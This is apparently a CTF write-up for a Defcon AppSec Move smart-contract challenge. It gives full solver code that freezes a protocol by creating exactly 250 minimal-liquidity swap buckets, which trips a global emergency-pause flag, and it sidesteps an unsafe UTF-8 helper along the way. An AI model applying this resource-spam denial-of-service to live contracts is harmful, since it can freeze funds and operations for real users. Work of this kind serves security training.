September 25, 2025•CTF - Smart Contracts
Defcon - Appsec CTF - Move Smarttable
The challenge’s protocol flips a global is_emergency_paused
flag once the total number of swap “buckets” reaches a threshold (250). Your solver simply:
- joins the protocol,
- creates exactly 250 distinct buckets with minimal liquidity,
- stops immediately so you don’t hit the pause guard on a 251st creation.
A built-in helper (generate_bucket_id
) is unsafe (it builds a String
from arbitrary BCS bytes → invalid UTF-8). Your solver avoids it and constructs valid UTF-8 bucket IDs instead.
- A global invariant is implicitly enforced by a simple counter and a boolean “circuit breaker”.
- Hitting the limit is a write-time effect inside
create_swap_bucket
. As long as you are not paused at function entry, the call can proceed and flip the flag during that call. - Therefore, a single account can deterministically DoS the system by creating 250 empty buckets.
generate_bucket_id
The challenge exposes a helper that (simplified) does:
string::append(&mut id, string::utf8(std::bcs::to_bytes(&nonce)));
BCS bytes of a number are arbitrary bytes, not guaranteed UTF-8 → 0x1::string::EINVALID_UTF8
.
Your solver builds bucket IDs with clean ASCII/UTF-8 instead.
module solution::solve {
use std::string::{Self, String};
use std::vector;
use challenge::challenge;
/// Convert a u64 to its ASCII decimal representation as a UTF-8 String.
fun u64_to_string(n: u64): String {
let bytes = u64_to_ascii(n);
string::utf8(bytes)
}
String
in Move must be valid UTF-8. We therefore convert the number to ASCII digits first and only then callstring::utf8
.
/// Build ASCII decimal bytes for n.
fun u64_to_ascii(n: u64): vector<u8> {
let m = n;
// handle 0 explicitly
if (m == 0) {
let z = vector::empty<u8>();
vector::push_back(&mut z, 48); // '0'
return z
};
let rev = vector::empty<u8>(); // digits reversed
while (m > 0) {
let d = m % 10;
vector::push_back(&mut rev, 48u8 + (d as u8)); // '0' + d
m = m / 10;
};
let out = vector::empty<u8>();
let len = vector::length(&rev);
let i = 0u64;
while (i < len) {
let idx = len - 1 - i;
let b_ref = vector::borrow(&rev, idx);
vector::push_back(&mut out, *b_ref);
i = i + 1;
};
out
}
- Standard decimal conversion:
- Extract digits
% 10
, store reversed. - Reverse the buffer into
out
. - Return a vector of ASCII bytes (
'0'
is48
).
- Extract digits
- Note: depending on your Move version, replace
(d as u8)
withu8(d)
if casts viaas
are not supported.
public entry fun solve(account: &signer) {
// Ensure we have a user profile
challenge::join_protocol(account);
- Some challenges require an explicit registration step; this ensures any
account
scoped resources exist.
// Create exactly 250 buckets to trigger the emergency pause.
let i = 0u64;
while (i < 250) {
// Token symbols (valid UTF-8)
let token_a = string::utf8(b"APT");
let token_b = string::utf8(b"USDC");
- Why create these every iteration?
String
in Move is notCopy
; reusing the same value after it’s been passed/consumed can fail type checks. Fresh values per loop keep ownership trivial.
// Build a unique, valid UTF-8 bucket_id: "APT_USDC_" ++ decimal(i)
let bucket_id = {
let base = string::utf8(b"APT_USDC_");
let suffix = u64_to_string(i);
string::append(&mut base, suffix);
base
};
- Guaranteed valid UTF-8.
- Satisfies uniqueness per iteration, which the bucket map likely enforces.
// Minimal positive liquidity
challenge::create_swap_bucket(account, bucket_id, token_a, token_b, 1, 1);
i = i + 1;
};
// After the 250th creation:
// protocol.total_buckets >= 250
// protocol.is_emergency_paused == true
}
}
- Use minimal non-zero amounts to pass
> 0
checks while minimizing gas/IO. - Stop at exactly 250 so the final successful call flips the pause flag. Attempting a 251st would hit the pause guard and abort.
join_protocol(account)
→ initializes per-user state if required.- Loop
i = 0..249
:- Build
bucket_id = "APT_USDC_" ++ decimal(i)
. create_swap_bucket(...)
inserts and increments a globaltotal_buckets
.
- Build
- On
i == 249
(the 250th bucket):total_buckets
becomes250
inside the call.- Module sets
is_emergency_paused = true
. - Call returns successfully; loop ends.
- Post-condition holds:
is_emergency_paused == true && total_buckets >= 250
.
- The protocol pauses itself when the number of swap “buckets” reaches 250.
- Your job: create exactly 250 buckets so
is_emergency_paused == true
.
- Register in the protocol:
challenge::join_protocol(account);
- Loop 250 times (
i = 0..249
):- Build a unique, valid UTF-8 bucket ID:
"APT_USDC_" + decimal(i)
.- You don’t use
generate_bucket_id
because it tries to make a String from raw bytes (can be invalid UTF-8) → crash. - You use
u64_to_string(i)
which converts the number into ASCII digits (always valid UTF-8).
- You don’t use
- Create the bucket with minimal non-zero liquidity (
1, 1
):challenge::create_swap_bucket(account, bucket_id, "APT", "USDC", 1, 1);
- Build a unique, valid UTF-8 bucket ID:
- Stop at 250:
- On the 250th creation, the module flips
is_emergency_paused = true
. - If you tried a 251st in the same tx, it would fail due to the pause check.
- On the 250th creation, the module flips
- In Move,
String
values are moved/consumed when passed; making fresh"APT"
,"USDC"
, and thebucket_id
each time keeps ownership simple and avoids borrow/move errors. u64_to_ascii
:- Turns a number into its ASCII digits (bytes
'0'..'9'
), e.g.123 -> [49,50,51]
.
- Turns a number into its ASCII digits (bytes
u64_to_string
:- Wraps those bytes with
string::utf8(...)
to get a valid String.
- Wraps those bytes with
- The loop:
token_a = "APT"
,token_b = "USDC"
.bucket_id = "APT_USDC_" ++ u64_to_string(i)
.create_swap_bucket(..., 1, 1)
.